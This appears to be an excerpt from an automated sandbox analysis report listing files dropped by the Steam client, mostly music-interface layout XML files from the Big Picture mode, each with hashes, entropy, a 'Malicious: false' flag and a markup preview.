Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_librarybackground.css" />....<include src="file://{resources}/styles/button.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />....<include src="file://{resources}/styles/music/music_artist.css" />...</styles>......<MusicArtistPanel hittest="false" >....<Image id="GridBackground" class="GridBackground" />........<Panel id="UpperRow" class="UpperRow">.....<Label id="ArtistLabel" class="ArtistLabel" text="#MusicAlbum_Artist" />....</Panel>........<Panel id="Body" class="Body">.......<MusicLibraryAlbumPanel id="MusicLibraryAlbumPanel"/>....</Panel>.......</MusicArtistPanel>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_artist_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.934714813909536
Encrypted:	false
SSDEEP:
MD5:	380051273F37443D3ECB472A7647DFA2
SHA1:	BCD53E89192CABC84A36533682CD9E68383226F2
SHA-256:	72E464787C50848A8FE08A437FEF718CF5BE7868EDD8716CBBF38E301CC14C34
SHA-512:	D3588ED05B28549414B1CB728AB7246CCDB40A44153330D01BB920E646EC83D271AE468CE9CA15CEAB7B2552067B28A44454EB2145AD9BCFC83A5851FF221A47
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicArtistMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()".....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button id="ArtistAddToPlaylistButton" class="Button" onactivate="AddArtistToPlaylist();" >......<Label id="AddToPlaylistLabel" text="#MusicArtist_Add_To_Playlist" />.....</Button>....</Panel>...</MusicArtistMoreDialog>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_control.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.796298479331341
Encrypted:	false
SSDEEP:
MD5:	6A4EBC81385B4E135DEDE9B674E9138A
SHA1:	BB8199D135C269B71C91694C3044FE23D7B3F3E4
SHA-256:	DD10307A52C9338C2EC437AED4B5D3295C0770D1CBB8D07B569C7D152ABA89CE
SHA-512:	BB91EF6DB84A43B02D5AB698F1F0332C7C9A4C1F09E05C8A28DFCE4E1BCE16CCAA1FE9922F778D37FAD0AD253769D8D594874B958D84F2F17E6948716A2DDFD3
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_control.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/quit.css" />...</styles>........<MusicControlPanel onmouseactivate="CloseModalDialog();">....<Panel id="MusicControllerPanel" class="MusicControllerPanel" tabindex="auto" selectionpos="auto">........<Panel id="MusicControlPanel" class="MusicControlTabPanel">......<MusicControlTransport childfocusonhover="true" id="MusicControlTransport" />........</Panel>........</Panel>....</MusicControlPanel>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_control_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	5.060272114087254
Encrypted:	false
SSDEEP:
MD5:	DFAFA97658998F7AD18AB94176D3C2B4
SHA1:	D34C7403437945E9E3EBF53A755AFB71531001AA
SHA-256:	193032A7BE8ABD4977E7458BF8B40C6861A7CA329A4FBB30F623286DE8777FE8
SHA-512:	1697AE01837C212ECE630645209442633FD0F121C633A91382B66908A80FBAB63DB28E4AE65883734CE219CC060F722A393AB94035BF7894FE8E880AFD079692
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicControlMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()" .....onmouseactivate="CloseModalDialog();" >.......<Panel id="MusicPlayerMenu" class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="MusicControlMore();" >......<Label text="#Music_Control_Browse_Music" />.....</Button>.....<Panel class="HorizontalSpace"/>.....<Button id="RemoveCurrentTrackButton" class="Button" onactivate="RemoveCurrentTrack();" >......<Label text="#Music_Control_Remove_Track_From_Queue" />.....</Button>.....<Button id="ShowCurrentTrackButton" class="Button" onactivate="ShowCurrentInSystem();">......<Label text="#Music_Control_Show_Track_In_System" />.....</Button>.....<Button id="ShowCurrentInUserInterfaceButton" class="But

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_control_overlay.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.017327188876219
Encrypted:	false
SSDEEP:
MD5:	BC203BA41C36E1FA1DCE1E1A7E2AD00E
SHA1:	E7346D84E1E303C4A55AC3BD8E64A54F1C89D0EB
SHA-256:	252F8ADB61C70F563F499AC05820CDBFDDFFFFBC10F232B91B25FC0E3E86882F
SHA-512:	634614D2EF92E56B9FA7FCC926710986798C5E056431422350D627F09288E3EB40262E30B8DD13B4A9C3080D27FBC9C89C0593288F05518E0E390CED9044C80B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_control_overlay.css" />....<include src="file://{resources}/styles/music/music_control_transport.css" />...</styles>........<MusicControlOverlay class="MusicControlOverlay">......<Label text="#Music_Control_Music" class="HeaderLabel" /> ... ......<Button id="ShowMusicControlButton" class="ShowMusicControlButton" onactivate="ShowMusicLibrary()">.......<Label id="NoMusicSelected" text="#Music_Overlay_NoMusicSelected" class="NoMusicSelected" /> ........<Image id="AlbumImage" class="AlbumImage" scaling="stretch-to-fit-preserve-aspect" />... .......<Label id="NowPlayingTrackName" text="" class="NowPlayingTrackName" /> .... .......<Label id="NowPlayingAlbumName" text="" class="NowPlayingAlbumName" /> .... ......</Button>...</M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_control_queue_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.932056699443802
Encrypted:	false
SSDEEP:
MD5:	7BAEDDB6B7A64EFA725909E2F7D2E088
SHA1:	D58C735165A0E2C595B8B8F6AAA400F40C37DBBD
SHA-256:	538AEB9D58CBDB442F126C181C0640EAF6AAA544FACE2012F464DAF1DBC3653D
SHA-512:	1DBA45B98B9BF3BA90F6DB37C85222939B1B6C8AE713E0BA126B46B1A623CD325B8C171A7593683D79059A16D2F54623FD4E8A97B47FFAF862D689ACBD97AE1F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_control.css" />....<include src="file://{resources}/styles/music/music_control_transport.css" />...</styles>......<MusicControlQueueEntry .....oncontextmenu="QueueEntryMore();".....onactivate="QueueEntrySelect();".....onfocus="QueueEntryGotFocus();" >....<Label class="TrackCompositeTitle" id="TrackCompositeTitle" text="Title"/>....<Label class="TrackTime" id="TrackTime" text="0:00"/>...</MusicControlQueueEntry>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_control_transport.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4374
Entropy (8bit):	5.009459476122029
Encrypted:	false
SSDEEP:
MD5:	E1D4B3E5ADF4D82231E3FF5FB56708C0
SHA1:	4201E7A544B80250BD6640CF08C5887FCB49F4FE
SHA-256:	EE5FD9F774021E2E41F95F25998C90A2E7871FE7B4EF7BC602CCFA6C96CBC8A7
SHA-512:	D9481F5A3CDA629BDA2A666DA253E1DD154EF4B97EE3229BF38440B5C74C2617758C84A8278F8FE194D0EA900ED2E9EB7C99339319E5A2050A145BBE839BC20B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_control_transport.css" />....<include src="file://{resources}/styles/music/music_control_overlay.css" />...</styles>...<MusicControlTransport>....<Panel id="TransportTopSection">.....<Panel id="TrackContainer">......<Label id="TrackName" text="{s:current_track_name}\n{s:current_artist_name}" />.....</Panel>.......<Panel class="QueueControlButtons" id="TransportControls" childfocusonhover="true" >......<Button id="QueueRepeat" class="ControlBarButton" tabindex="auto" selectionpos="auto" ........onmoveup="ControlButtonMoveUp();"........onmovedown="SetInputFocus( SeekControl );"........oncontextmenu="MusicControlMore();"........onfocus="ControlButtonGotFocus();"........onactivate="MusicToggleRepeat();">.......<Image id="QueueRepeatImage" src="file://{images}/music/icon_queue_repeat.png" />...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_explore.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	5.057575690782488
Encrypted:	false
SSDEEP:
MD5:	B6CBA674F123ACB5755247572925943F
SHA1:	C2ED3B2EBEA1D158610411EAF3F5C4D4CB2A41BE
SHA-256:	B80D46FED985A587AE6FF269F71930B24A0A4ABA60138F15B29E323092F4B633
SHA-512:	8CC0B9281B8C40D1024BCA04D5E7EBBFC702B1F09666B0E9790191CD4569A6BA82CC4A7FF922119982BEC9F3B4B1EFFB7947DD64178CD8208ECA0D3323DDF8C0
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/music/music_explore.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicExplorePanel class="MusicExplorePanel" selectionpos="auto" onmoveup="None();" defaultfocus="MusicExploreBtnAlbums" >....<Panel id="MusicExploreCategoryButtons" >.....<Button id="MusicExploreBtnArtists" class="MusicExploreCategoryButton" onactivate="ShowMusicLibrary_Artists()" >......<Label text="#Music_Explore_Artists" class="HeaderLabel" />......<Panel class="ButtonIcon" />.....</Button>.....<Button id="MusicExploreBtnAlbums" class="MusicExploreCategoryButton" onactivate="ShowMusicLibrary_Albums()" >......<Label text="#Music_Explore_Albums" class="HeaderLabel" />......<Panel class="ButtonIcon" />.....</Button>.....<Button id="MusicExploreBtnPlaylists" class="MusicExploreCategoryButton"

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_explore_row.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	4.884086358470937
Encrypted:	false
SSDEEP:
MD5:	B41C3F7F39C755011ECD8F014646FDCE
SHA1:	A1E50273229BE14C3D6D1D89017ED2A8033AA95E
SHA-256:	429C3F9F951C1F5B995B817C592CF2009DF63427AD46F5B132962D06A975D7AC
SHA-512:	4C777F959ED1B55F604ADAA66AA09B7054194DF9F74BBC663B5D241C6C77C5C3A73E11DF6BD92597305F5C1B45DCBA2E70C65100DE4A7D1BF96043E6AB627703
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/music/music_explore.css" />...</styles>......<MusicExploreRow class="MusicExploreRow" selectionpos="auto">....<Panel class="GamesList AppList" selectionpos="auto" >.....<Label id="HeaderLabel" class="HeaderLabel" />.....<Panel id="RowContainer" class="RowContainer" selectionpos="auto">...... code will insert n instances of MusicAlbumButton -->.........</Panel>....</Panel>...</MusicExploreRow>..</root>..........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_filter_albums.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	5.171173050004833
Encrypted:	false
SSDEEP:
MD5:	9585E0C9635B34339F6438902DABF468
SHA1:	F5FC8D46B7AB0F14D82900D29FCBBE7B4A4A86F9
SHA-256:	D6681BA9663850277B567FFB61789CBE57C1DF6E6501A3A514D6FE3052B34144
SHA-512:	40784D21E461D85146642E703F428AD69B63D9F14659397547C4E088812D4379864B7B1E02B8CB97A2B804578727D9F133DEF42EF16336688373DEAAF5593B37
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_filter_albums.css" />...</styles>......<MusicFilterAlbums class="MusicFilterAlbums" defaultfocus="AlbumSearchInput" ondescendantfocus="AsyncEvent( 0.1, GameFilterScrollChildIntoView() );" rememberchildfocus="true" >....<Label class="NxTagHeader AlwaysVisible FilterHeader" text="#Music_FilterHeader" />....<Panel class="HorizRule" />....<Panel class="FilterWrapper" selectionpos="0,0" onmoveright="None();" onmoveup="None();" sendchildscrolledintoviewevents="true" >.......<Button id="clearFiltersButton" class="NxFilterButton" onactivate="AlbumFilterChanged(clear);" selectionpos="0,-1000" >......<Image src="file://{images}/library/icon_favorite.png" />......<Label text="#Library_ClearButton" />.....</Button>.......<Label id="NxNarrowByName" class="NxTagHeader" text="#Library_NameHeader" />.......<TextEntry id="AlbumSearchInput" class="AlbumSearchInput".....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_filter_artists.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	5.144882525240875
Encrypted:	false
SSDEEP:
MD5:	632C2E8C9BAC836D54E29C51D74BFA43
SHA1:	C0BC2459E44E25D6C6E83BEC2C1B55F49DAF0E5E
SHA-256:	DE04D06AF15057276E3AED8F74E9804C96E46507608A2660E8E99CE662F612FF
SHA-512:	F8A315110C33F9AA05CD279CE0DE84E1462F1C23C2692C30C88CF7BD525C9225D29800786C7CF3AC0B63D7201BD56AEEAA0BB31876B05AD9E262ADEFB5634DA1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_filter_artists.css" />...</styles>......<MusicFilterAlbums class="MusicFilterArtists" defaultfocus="ArtistSearchInput" ondescendantfocus="AsyncEvent( 0.1, GameFilterScrollChildIntoView() );" rememberchildfocus="true" >....<Label class="NxTagHeader AlwaysVisible FilterHeader" text="#Music_Filter_Artists_Header" />....<Panel class="HorizRule" />....<Panel class="FilterWrapper" selectionpos="0,0" onmoveright="None();" onmoveup="None();" sendchildscrolledintoviewevents="true" >.......<Button id="clearFiltersButton" class="NxFilterButton" onactivate="ArtistFilterChanged(clear);" selectionpos="0,-1000" >......<Image src="file://{images}/library/icon_favorite.png" />......<Label text="#Library_ClearButton" />.....</Button>.......<Label id="NxNarrowByName" class="NxTagHeader" text="#Library_NameHeader" />.......<TextEntry id="ArtistSearchInput" class="ArtistSe

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_album.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	965
Entropy (8bit):	5.057220115407532
Encrypted:	false
SSDEEP:
MD5:	364C4F7EE287195083F859F597E8346E
SHA1:	57ABEEC489844D020EBDBDDF1ED4DEA680BB0C2D
SHA-256:	9A139780968A4DA6C94EE80FC8CFB72CF92BB1B92F34D7F59176D46ABCEA1D86
SHA-512:	E5298D6C828FCEC9BEF92E71FC74E0D4DE6714230DCDF696F4C8182D1773A55DBCEDC34EEC5C89ADADCF82A88187652051BACF860B7EAEC2AB285261944ACEE6
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<MusicLibraryAlbumPanel defaultfocus="MusicAlbumGrid" selectionposboundary="vertical" >.........<Panel hittest="false" id="FastScrollWrapper">.....<Label id="FastScrollLabel" />.....<Label id="TypeToJumpLabel" />....</Panel>........<Grid id="MusicAlbumGrid" class="MusicAlbumGrid" scrolldirection="vertical" verticalcount="4" horizontalcount="6" selectionpos="auto" tabindex="auto" focusmargin="1" rememberchildfocus="true" onmovedown="None()" />......<MusicFilterAlbums id="AlbumsFilter" selectionpos="500,200" oncancel="SetInputFocus( MusicAlbumGrid )"/>......<Button id="EmptyLibraryArea" >.....<Label id="EmptyLabel" class="EmptyLabel" text="#Library_AllGames_EmptyGrid" />....</Button>.......</MusicLibraryAlbumPanel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_album_griditem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	492
Entropy (8bit):	5.041151937854591
Encrypted:	false
SSDEEP:
MD5:	C0DCD5B8FA168745405618A2B156FEE3
SHA1:	841058F851201BE62E72BEEA1F9145602E782401
SHA-256:	0563CEECE913751A985BA35D222C349C547DEE3C075CF8A086B8FC6A89AA2935
SHA-512:	BC9F933FC85E5C0D284B0CD6597977971FEF76E6FA8DF3191199D516434425DAF1A689585DC590A3406B7C7AF9B4BEFD33CB38223C1BFF25F2B0BA8C28B56822
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<AlbumGridItem max_image_src_width="220" max_image_src_height="220">......<Image id="AlbumImage" class="AlbumImage" scaling="stretch-to-fit-y-preserve-aspect" />....<Panel id="AlbumLabelWrapper">.....<Label id="AlbumUpperLabel" text="" />.....<Label id="AlbumLowerLabel" text="" />....</Panel>...</AlbumGridItem>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_artist.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	955
Entropy (8bit):	4.993171831548796
Encrypted:	false
SSDEEP:
MD5:	B7BD9D7F8A5A1B53A25525B5C8E24CF7
SHA1:	3E98C95815CCF13B2041EC7BC484FE06DD750158
SHA-256:	2AE160954AED51857CBF4C694969D05B54F126EAB4DFCC21CCDD717DDB8E3D5C
SHA-512:	41B3DAAA71B92ACC5C6A5839B9124C1738D03A50D73065ADC16D8D23A2317E00E9B6F7ED060787C486A06C933653BCA8367E14D3CB4B8A1FC5253DB0DDAA048F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<MusicLibraryArtistPanel defaultfocus="MusicArtistGrid" selectionposboundary="vertical" >........<Panel hittest="false" id="FastScrollWrapper">.....<Label id="FastScrollLabel" />.....<Label id="TypeToJumpLabel" />....</Panel>........<Grid id="MusicArtistGrid" class="MusicArtistGrid" scrolldirection="vertical" verticalcount="7" horizontalcount="2" selectionpos="auto" tabindex="auto" focusmargin="1" rememberchildfocus="true" />..........<MusicFilterArtists id="ArtistsFilter" selectionpos="500,200" oncancel="SetInputFocus( MusicArtistGrid )"/>......<Button id="EmptyLibraryArea" >.....<Label id="EmptyLabel" class="EmptyLabel" text="#Library_AllGames_EmptyGrid" />....</Button>.....</MusicLibraryArtistPanel>.....</root>

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_artist_griditem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	642
Entropy (8bit):	5.07538594776897
Encrypted:	false
SSDEEP:
MD5:	105AC6538246BC96E299AC51A966AFBA
SHA1:	D923B915B3E052617AADF2621E5E542A679980E7
SHA-256:	AEBA4096FEB5403D0F6C90F9EA61F3EFFE5388E06787D731AB16E56B86B81893
SHA-512:	74E1CFA306AF60409C2A9D5681B22CD81A7C1F6DEBAC3312897AC06EC6A7AAF4376AFAA3016C22AB350C1CC6B0F330D677AB79DC183D9B7ED3DF004024648223
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<ArtistGridItem max_image_src_width="220" max_image_src_height="220">....<Image id="AlbumImage" class="AlbumImage" scaling="stretch-to-fit-y-preserve-aspect" />....<Panel id="AlbumLabelWrapper">.....<Label id="AddLibraryText" text="#Music_Library_Setup_Select_To_Add_Library" />.....<Label id="ArtistUpperLabel" text="#Music_Artist_Grid_ArtistName" />.....<Label id="ArtistLowerLabel" text="#Music_Artist_Grid_ArtistAlbumCount" />....</Panel>...</ArtistGridItem>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_container.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	4.9955157096941445
Encrypted:	false
SSDEEP:
MD5:	57E037408E8CCA2D11441E45E1FBBD9C
SHA1:	ECAD7439812F23AF942BA0E86B2957C3487A6301
SHA-256:	34E8A513778FF0E8E7125BD875E80D87A70D6373740A46A00E027F0557A21727
SHA-512:	B44145799B7C8A2269111471B97EE04325B3AEEACA5CFBFEDDFB1D1EAC31DFD9565E78E1B52D2FBBB7849D601CF85083CDE0C4A4E6177024B402541E87510A47
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<MusicLibraryContainerPanel selectionposboundary="vertical" >........<Image id="GridBackground" class="GridBackground" />......<Panel id="ContentPanel">.......<Carousel id="GridTabs" tabindex="0" selectionpos="0,0" focus="edge" focus-offset="100px" wrap="false" selectionposboundary="vertical" >......<Button id="AlbumTitleButton" ........onmovedown="MusicLibraryActivateGridTabs( MusicLibraryAlbumTitlePanel );"........onfocus="MusicLibraryActivateAlbumTitleView();"........onmouseactivate="MusicLibraryActivateFirstAlbum();"........onactivate="MusicLibraryActivateFirstAlbum();" >........ >.......<Label text="#Music_Library_AlbumsTitle_Sort" />......</Button>......<Button id="AlbumButton" ........onmovedown="MusicLibraryActivateGridTabs( MusicLibraryAlbumPanel )

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_crawling.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	5.057771497843016
Encrypted:	false
SSDEEP:
MD5:	E933C3D5A32E0045821DF949A12CC94F
SHA1:	CC98F73887B260260BD5E8524845E4031AF4B024
SHA-256:	A002355A209BF9BD8C652382BE3DA4AAD76463FB395B90C00ABE37D9CA59F985
SHA-512:	C717EDA39E99816AA619C209EA64E317C4F30823C8770EF282F5A40473704D408DD0F9F70A76C1D8424977CF357C3FC38BC42A448C370550993EE1E8CBD69D5F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<MusicLibraryCrawlingPanel.....onmoveup="CloseMusicLibrary();".....defaultfocus="InputButton" >.......<Panel class="CrawlingTopSpacer"/>........<Panel class="CrawlingTextRow">.....<Label class="CrawlingLabelLeft" text="#Music_Library_Crawling_Directories" />.....<Label class="CrawlingLabelRight" text="#Music_Library_Crawling_DirectoryCount" />....</Panel>....<Panel class="CrawlingTextRow">.....<Label class="CrawlingLabelLeft" text="#Music_Library_Crawling_Albums" />.....<Label class="CrawlingLabelRight" text="#Music_Library_Crawling_AlbumCount" />....</Panel>....<Panel class="CrawlingTextRow">.....<Label class="CrawlingLabelLeft" text="#Music_Library_Crawling_Tracks"/>.....<Label class="CrawlingLabelRight" text="#Music_Library_Crawling_TrackCount" />....</Pa

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_playlist.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.952804280855343
Encrypted:	false
SSDEEP:
MD5:	2433FC1EBA62C145A43482FCAE06505B
SHA1:	E700C6C42D29CB7DC6C5340A17748F91DB6BA79F
SHA-256:	7339EAB0612FFDAFAD60E4976897B99FA8D5D662894ECE6F498F9CA171209B25
SHA-512:	1FD7847009460C5676D1BF229D6642BFEDB546EDAAD0E2B710282B84107C46B3230C3505EE2765CECE1A83F0C1EB4F52524B4A53E30E5AE6FAD08B2BD3DC3D0F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<MusicLibraryPlaylistPanel defaultfocus="MusicPlaylistGrid" selectionposboundary="vertical" >........<Panel hittest="false" id="FastScrollWrapper">.....<Label id="FastScrollLabel" />.....<Label id="TypeToJumpLabel" />....</Panel>........<Grid id="MusicPlaylistGrid" class="MusicPlaylistGrid" scrolldirection="vertical" verticalcount="7" horizontalcount="2" selectionpos="auto" tabindex="auto" focusmargin="1" rememberchildfocus="true" />..........<Button id="EmptyLibraryArea" >.....<Label id="EmptyLabel" class="EmptyLabel" text="#Library_AllGames_EmptyGrid" />....</Button>.....</MusicLibraryPlaylistPanel>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_playlist_griditem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	651
Entropy (8bit):	5.091961732576737
Encrypted:	false
SSDEEP:
MD5:	E8493B5874B9B0D2DE57414618BAF68C
SHA1:	2D2EB0B6D57F0E4162588883F1C18BAA86030891
SHA-256:	37AFEB5E2EF404B812F742B24CFBDADFE22EFEEA3725D611DD967025B5CAC686
SHA-512:	57725EECC62C535456ED7716EC9C83821B1CB0E12FBA5CCC4FFF1EEDCBEBBE73EC7E55CD051C8B79BC0892DB38972E154BC9F76A24741F719CC0ECCD3934D16E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_library.css" />...</styles>......<ArtistGridItem max_image_src_width="220" max_image_src_height="220">....<Image id="AlbumImage" class="AlbumImage" scaling="stretch-to-fit-y-preserve-aspect" />....<Panel id="AlbumLabelWrapper">.....<Label id="AddLibraryText" text="#MusicPlaylist_Library_Add_Playlist" />.....<Label id="PlaylistUpperLabel" text="#Music_Playlist_Grid_ArtistName" />.....<Label id="PlaylistLowerLabel" text="{d:trackcount} Tracks, duration {s:totaltime}" />....</Panel>...</ArtistGridItem>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_setup.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.96288795378493
Encrypted:	false
SSDEEP:
MD5:	F7D38D646506AA438585FE6B39AF0E70
SHA1:	CD8D2DD3FF88A99696354E4B199C7024E4F14FA5
SHA-256:	AC928E715FFF429B5C35900E70075EB2C85235DF9DCD770B659D6150D090BFB4
SHA-512:	64ED22D04DABA01B7D2EB1F9CA0233191D913032656007BF8F49A71FD75F23EE422AE946D67BD455CAEE38BCE8B1D08D91BBA9E11335F857EBE94F64210D2C5B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music_library_setup.css" />...</styles>....... <MusicLibrarySetupPanel class="TenfootMsgBox" tabindex="auto" selectionpos="auto" onmouseactivate="CloseModalDialog();">....<Panel class="MsgBoxBodyRegion" tabindex="auto" selectionpos="auto">.....<Label class="StdTitle" text="#Music_Library_Setup_Title" />.....<Label class="StdLabelMed" text="#Music_Library_Setup_Text" />........<Panel class="EntryContainer" id="EntryContainer" tabindex="auto" selectionpos="auto" childfocusonhover="true" />.......... ....</Panel>...</MusicLibrarySetupPanel>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_setup_add.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	689
Entropy (8bit):	5.0111228264334216
Encrypted:	false
SSDEEP:
MD5:	CFE34F87145E0863261BBDBAE669BA72
SHA1:	41AE1897AB863249EAA07A3B829F8354008EA1A2
